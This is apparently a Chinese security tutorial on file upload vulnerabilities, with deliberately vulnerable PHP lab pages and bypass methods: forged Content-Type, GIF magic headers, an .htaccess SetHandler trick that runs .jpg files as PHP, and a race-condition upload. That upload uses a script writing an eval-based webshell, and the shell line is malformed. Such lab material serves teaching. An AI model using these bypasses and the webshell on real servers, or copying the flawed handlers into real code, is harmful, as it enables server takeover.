简介

前端JS过滤绕过

待更新。。。

文件名过滤绕过

待更新

Content-type过滤绕过

Content-Type用于定义网络文件的类型和网页编码,用来告诉文件接收方以什么形式、什么编码读取这个文件。
不同的文件都会对应不同的Content-Type。例如JPG文件的Content-Type为image/jpeg,PHP文件的Content-Type为application/octet-stream。在Content-Type在数据包的请求包头中,开发者会通过Content-Type判断文件是否允许上传,但是Content-Type可以通过抓包篡改,这样就可以绕过Content-Type过滤了。
 
环境复现
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Upload Labs</title>
</head>
<body>
<h2>Upload Labs</h2>
<form action="1.php" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="upfile" id="file"><br>
<input type="submit" name="upload" value="提交">
</form>
<hr>
<center>榆林学院信息安全协会 2020/5/18</center>
</body>
</html>
<?php if(is_uploaded_file($_FILES['upfile']['tmp_name'])){
$upfile=$_FILES["upfile"]; $name=$upfile["name"]; //获取上传文件的文件名
$type=$upfile["type"]; //获取上传文件的类型
$size=$upfile["size"]; //获取上传文件的大小
$tmp_name=$upfile["tmp_name"]; //获取上传文件的临时存放路径 switch($type){
case 'image/pjepg':$oktype=true;
break;
case 'image/jpeg':$oktype=true;
break;
case 'image/gif':$oktype=true;
break;
case 'image/png':$oktype=true;
break; }
if(!$oktype){
echo "<font color='red'>只能上传图像文件</font>";
die();
}else{ $error=$upfile["error"];
echo "====================<br>";
echo "上传文件名称是:".$name."<br>";
echo "上传文件类型是:".$type."<br>";
echo "上传文件大小是:".$size."<br>";
echo "上传后系统返回的值是:".$error."<br>";
echo "上传文件的临时存放路径是:".$tmp_name."<br>"; //吧上面的临时文件移动到up目录下面
move_uploaded_file($tmp_name,'upload/'.$name);
$destination="upload/".$name;
echo "====================<br/>";
if($error==0){
echo "文件上传成功";
echo "<br>图片预览</br>";
echo "<img src=".$destination.">";
}
} } ?>

需要upload目录

修改Content-type的值为白名单的 image/pjepg、image/jpeg等即可绕过

简介

各种文件都有特定的文件头格式,开发者通过检查上传文件头检测文件类型,但是这种检测方式同样可以被绕过,只要在木马的头部添加对应的文件头,这样既可以绕过检测,又不影响木马文件的正常运行。

环境复现 

漏洞代码
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Upload Labs</title>
</head>
<body>
<h2>Upload Labs</h2>
<form action="1.php" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="upfile" id="file"><br>
<input type="submit" name="upload" value="提交">
</form>
<hr>
<center>榆林学院信息安全协会 2020/5/18</center>
</body>
</html>
<?php if(is_uploaded_file($_FILES['upfile']['tmp_name'])){
$upfile=$_FILES["upfile"]; $name=$upfile["name"]; //获取上传文件的文件名
$type=substr($name,strrpos($name,'.')+1); //获取上传文件的后缀
$size=$upfile["size"]; //获取上传文件的大小
$tmp_name=$upfile["tmp_name"]; //获取上传文件的临时存放路径 //判断是否为图片
//exif_imagetype() 读取一个图像的第一个字节并检查其签名。
if(!exif_imagetype($_FILES['upfile']['tmp_name'])){
echo "<font color='red'>只能上传图像文件</font>";
die();
}else{ $error=$upfile["error"];
echo "====================<br>";
echo "上传文件名称是:".$name."<br>";
echo "上传文件类型是:".$type."<br>";
echo "上传文件大小是:".$size."<br>";
echo "上传后系统返回的值是:".$error."<br>";
echo "上传文件的临时存放路径是:".$tmp_name."<br>"; //吧上面的临时文件移动到up目录下面
move_uploaded_file($tmp_name,'upload/'.$name);
$destination="upload/".$name;
echo "====================<br/>";
if($error==0){
echo "文件上传成功";
echo "<br>图片预览</br>";
echo "<img src=".$destination.">";
}
} } ?>
当前目录下创建upload文件夹
如果报错:Call to undefined function exif_imagetype()
开启php.ini中的
extension=php_mbstring.dll
extension=php_exif.dll

上传PHP文件 拦截 改头

改成GIF的头 成功绕过
 
 

.htaccess文件上传

htaccess上传是利用.htacess文件对web服务器进行配置的功能,实现将扩展名.jpg、.png等文件当作PHP文件解析的过程

.htaccess基础

.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。

.htaccess是web服务器的一个配置文件,可以通过.htaccess文件实现web服务器中的文件的解析方式、重定向等配置

开启.htaccess配置

  1.修改配置文件httpd.conf

Options FollowSymLinks AllowOverride None  修改为: Options FollowSymLinks AllowOverride All

  2.去掉mod_rewrite.so的注释,开启rewrite模块

# LoadModule foo_module modules/mod_foo.so

漏洞复现

漏洞代码

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Upload Labs</title>
</head>
<body>
<h2>Upload Labs</h2>
<form action="index.php" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="upfile" id="file"><br>
<input type="submit" name="upload" value="提交">
</form>
<hr>
<center>榆林学院信息安全协会 2020/2/29</center>
</body>
</html>
<?php
if(isset($_POST["upload"])){
$upfile=$_FILES["upfile"]; $name=$upfile["name"]; //获取上传文件的文件名
$type=substr($name,strrpos($name,'.')+1); //获取上传文件的后缀
$size=$upfile["size"]; //获取上传文件的大小
$tmp_name=$upfile["tmp_name"]; //获取上传文件的临时存放路径 //通过正则表达式黑名单过滤php、php1、pjp3等但是我们可以上传.htaccess文件
if(preg_match('/php.*/i',$type)){
echo "<script>alert('不能上传php文件!');</script>";
die();
}else{ $error=$upfile["error"];
echo "====================<br>";
echo "上传文件名称是:".$name."<br>";
echo "上传文件类型是:".$type."<br>";
echo "上传文件大小是:".$size."<br>";
echo "上传后系统返回的值是:".$error."<br>";
echo "上传文件的临时存放路径是:".$tmp_name."<br>"; //吧上面的临时文件移动到up目录下面
move_uploaded_file($tmp_name,'upload/'.$name);
$destination="upload/".$name;
echo "====================<br/>";
if($error==0){
echo "文件上传成功";
echo "<br>图片预览</br>";
echo "<img src=".$destination.">";
}
} } ?>

上传.htaccess文件内容为

SetHandler application/x-httpd-php //将目录下所有文件当成PHP来解释

或者

<FilesMatch "jpg">
SetHandler application/x-httpd-php
</FilesMatch>
//将该目录下匹配的jpg当成php执行

上传名字为xiaohua.jpg文件 内容为phpinfo();

访问执行

.user.ini文件上传

https://www.cnblogs.com/xhds/p/12381390.html

文件截断上传

待更新

竞争条件上传

漏洞简介

竞争条件是指多个线程在没有进行锁操作或者同步操作的情况下同时访问一个共享代码、变量、文件等,运行的结果依赖于不同线程访问数据库的顺序

环境复现

漏洞代码

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Upload Labs</title>
</head>
<body>
<h2>Upload Labs</h2>
<form action="1.php" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="upfile" id="file"> <input type="submit" name="upload" value="提交">
</form>
<hr>
<center>榆林学院信息安全协会 2020/5/18</center>
</body>
</html>
<?php
if(isset($_POST["upload"])){
$upfile=$_FILES["upfile"];
$filename=$upfile["name"]; //获取上传文件的文件名
$tmp_name=$upfile["tmp_name"]; //获取上传文件的临时存放路径 //白名单
$allow_ext=array("gif","png","jpg"); move_uploaded_file($tmp_name,"up/".$filename);
$file="./up/".$filename;
echo "文件上传成功:".$file."\n<br />";
$ext=array_pop(explode(".",$filename));
//array_pop() 删除数组中最后一个元素
//explode()函数使用一个字符串分割另一个字符串,并返回由字符串组成的数组。 if(!in_array($ext,$allow_ext)){
unlink($file);
die("此文件类型不允许,已删除");
} } ?>

需要在目录中创建up文件夹用来保存上传文件

漏洞分析利用

代码首先将用户上传的文件保存在up目录中 之后进行文件后缀名判断 判断是否在$allow_ext 我们称之为白名单中 否则unlink删除。漏洞点在文件保存到服务器前没有进行安全验证,虽然保存后进行了验证单利用竞争条件上传漏洞有写文件功能的木马,在删除木马之前访问已经上传的木马就可以写入新的木马了。
 
 
双开burp  第一个burp null payload 不断的上传phpinfo.php文件
<?php
fputs(fopen("shell.php","w"),"<?php @eval($_POST[xiaohua];?)>");
?>
第二个burp也是null payload不断的访问shell.php文件 我们迅速的访问shell.php当系统还没反应过来的时候我们执行了phpinfo.php文件执行里面的代码生成了新的名为shell.php 的马  这样就造成了条件竞争漏洞
上传成功
 
 

漏洞修补

[web安全原理分析]-文件上传漏洞基础的更多相关文章

  1. Web应用安全之文件上传漏洞详解

    什么是文件上传漏洞 文件上传漏洞是在用户上传了一个可执行的脚本文件,本通过此脚本文件获得了执行服务器端命令的功能,这种攻击方式是最为直接,最为有效的,有时候,几乎没有什么门槛,也就是任何人都可以进行这 ...

  2. WEB服务端安全---文件上传漏洞

    1.简述 文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务端命令的能力.这种攻击方式是最直接和有效的,而且互联网中我们经常会用到文件上传功能,它本身是没有问题的,正常的业 ...

  3. web服务端安全之文件上传漏洞

    一.文件上传漏洞的原理 由于程序代码未对用户提交的文件进行严格的分析和检查,导致攻击者可以上传可执行的代码文件,从而获取web应用的控制权限. 常见于上传功能,富文本编辑器. 二.文件上传漏洞的防御 ...

  4. 基于 java 【Web安全】文件上传漏洞及目录遍历攻击

    前言:web安全之文件上传漏洞,顺带讲一下目录遍历攻击.本文基于 java 写了一个示例. 原理 在上网的过程中,我们经常会将一些如图片.压缩包之类的文件上传到远端服务器进行保存.文件上传攻击指的是恶 ...

  5. web安全之文件上传漏洞攻击与防范方法

    一. 文件上传漏洞与WebShell的关系 文件上传漏洞是指网络攻击者上传了一个可执行的文件到服务器并执行.这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等.这种攻击方式是最为直接和有效 ...

  6. 文件上传漏洞靶场分析 UPLOAD_LABS

    文件上传漏洞靶场(作者前言) 文件上传漏洞 产生原理 PASS 1) function checkFile() { var file = document.getElementsByName('upl ...

  7. Hadoop之HDFS原理及文件上传下载源码分析(下)

    上篇Hadoop之HDFS原理及文件上传下载源码分析(上)楼主主要介绍了hdfs原理及FileSystem的初始化源码解析, Client如何与NameNode建立RPC通信.本篇将继续介绍hdfs文 ...

  8. WEB安全:文件上传漏洞

    文件上传漏洞过程 用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力. 一般的情况有: 上传文件WEB脚本语言,服务器的WEB容器解释并执行了用户上传的脚本,导致代码执行: ...

  9. 【代码审计】UKCMS_v1.1.0 文件上传漏洞分析

      0x00 环境准备 ukcms官网:https://www.ukcms.com/ 程序源码下载:http://down.ukcms.com/down.php?v=1.1.0 测试网站首页: 0x0 ...

随机推荐

  1. CentOS 网卡固定地址配置

    修改4个文件后重启网卡 vim /etc/default/grub GRUB_CMDLINE_LINUX="resume=UUID=05dbb36b-dbba-40a3-ba99-1b044 ...

  2. flutter_bloc使用解析---骚年,你还在手搭bloc吗!

    前言 首先,有很多的文章在说flutter bloc模式的应用,但是百分之八九十的文章都是在说,使用StreamController+StreamBuilder搭建bloc,提升性能的会加上Inher ...

  3. Docker学习笔记之-通过Xshell连接 CentOS服务

    上一节演示如何在虚拟机中安装 CentOS服务,Docker学习笔记之-在虚拟机VM上安装CentOS 7.8 本节主要演示如何通过 Xshell软件链接CentOS服务,本例以虚拟机作为演示,直接在 ...

  4. 蓝桥杯2020 E:七段码

    题解 正规解法是 dfs + 并查集,首先用 dfs 将其所有的情况枚举出来,再用并查集来判断是否在一个连通块上. 许多小伙伴计算的答案为76,主要是判断连通块这方面有问题,倘若不用并查集,直接枚举一 ...

  5. ng中的ng-content ng-template ng-container

    在angular中,有这样三个自带的标签,但是在angular的文档中没有说明,只有在api中有简单的描述,摸索了半天才搞懂是咋回事. ng-content <div> <ng-co ...

  6. scott lock

    账户被锁: cmd --->sqlplus /nolog--->conn sys/change_on_install as sysdba;---->alter user scott ...

  7. 标签平滑(Label Smoothing)详解

    什么是label smoothing? 标签平滑(Label smoothing),像L1.L2和dropout一样,是机器学习领域的一种正则化方法,通常用于分类问题,目的是防止模型在训练时过于自信地 ...

  8. sentinel规则nacos持久化

    背景说明:生产环境中sentinel的使用应该是如下图所示: sentinel控制台编辑规则  推送到 nacos配置中心, 由nacos推送到应用,应用更新内存. 这样的话, 规则持久化在了naco ...

  9. Vue-cli3以上安装jquery

    vue-cli3以上就没有webpack.config.js这个文件了,所以在安装jquery时 终端执行  npm install jquery --save 之后查看package.json 安装 ...

  10. HBase基础理论知识

    来源:第四章:大数据 の HBase 基础   本课主题 NoSQL 数据库介绍 HBase 基本操作 HBase 集群架构与设计介紹 HBase 与HDFS的关系 HBase 数据拆分和紧缩 引言 ...